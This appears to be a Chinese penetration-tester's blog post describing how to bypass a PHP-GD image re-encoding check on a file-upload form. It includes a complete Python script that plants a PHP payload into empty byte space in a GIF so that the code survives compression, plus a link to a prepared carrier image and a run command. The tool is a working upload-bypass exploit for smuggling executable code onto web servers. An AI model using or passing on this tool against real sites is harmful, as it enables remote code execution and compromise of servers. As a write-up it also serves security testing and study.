记一次 PHP-GD 绕过上传 作者: admin 时间: 2020-10-29 分类: 随便写写,渗透技巧 平时只在书上看到,现在遇到了。 # #1 过程 在做某项目的渗透测试的时候,发现网站存在任意文件上传,但是却校验图片的内容数据。 ![](https://www.ch1ng.com/blog/usr/uploads/2020/10/3026726412.png) 得知是用了 PHP-GD 的库进行图片内容检测,用常规的图片马是过不了了。问了下基友,基友发了篇文章过来。 ``` https://nosec.org/home/detail/4369.html ``` 后续内容也是根据这个文章进行上传绕过,刚开始尝试了 png 文件的测试,发现死活无法正常解析。 ![](https://www.ch1ng.com/blog/usr/uploads/2020/10/819056466.png) 用了文章中的 POC.gif,发现可以成功解析 ![](https://www.ch1ng.com/blog/usr/uploads/2020/10/210673531.png) 经过多次测试发现,原来是在 gif 被压缩后, phpinfo 之前的图片数据转成了一些 PHP 可执行字符,导致 phpinfo 无法正常运行。解决办法也很简单,弄一张数据转换后没特殊字符的 gif 生成即可(后面有的下载)。 工具: ```python=1 #!/usr/bin/python import sys import binascii def main(): if len(sys.argv) != 4: print("USAGE: ") sys.exit() gif = sys.argv[1] payload = sys.argv[2] output = sys.argv[3] payload_len = len(payload) loc = get_loc(gif, payload_len) inject_payload(gif, loc, payload, output) def get_loc(gif,payload_len): empty_space = payload_len*'00' print("Searching for %s bytes empty space") % (payload_len) f = open(gif, 'rb') contents = f.read() loc = contents.find(binascii.unhexlify(empty_space)) f.close() if loc != -1: print("Found empty space.") return loc else: print("Can't found enough empty space, try other .gif image. Exiting.") sys.exit() def inject_payload(gif, loc, payload, output): bin_payload = bin(int(binascii.hexlify(payload),16)) f = open(gif, 'rb') fo = open(output, 'wb') print("Injecting payload...") contents = f.read() pre_payload = contents[:loc] post_payload = contents[loc + len(payload):] fo.write(pre_payload + payload + post_payload + '\n') print("Payload written.") f.close() fo.close() if __name__ == "__main__": main() ``` 没特殊字符的 gif :[bb.gif.zip](https://www.ch1ng.com/blog/usr/uploads/2020/10/3269331132.zip) 运行: ``` python2 demo.py bb.gif '' 2.gif ``` ![](https://www.ch1ng.com/blog/usr/uploads/2020/10/782340660.png) # #2 注意 摘取其他文献截图 ![](https://www.ch1ng.com/blog/usr/uploads/2020/10/1618172622.png) 标签: none